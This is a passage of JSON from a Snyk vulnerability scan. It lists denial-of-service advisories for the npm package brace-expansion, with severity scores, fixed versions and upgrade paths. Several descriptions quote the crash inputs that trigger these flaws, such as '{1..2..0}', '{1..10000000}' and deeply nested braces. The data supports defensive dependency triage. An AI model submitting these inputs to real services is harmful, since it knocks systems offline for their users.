"modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", 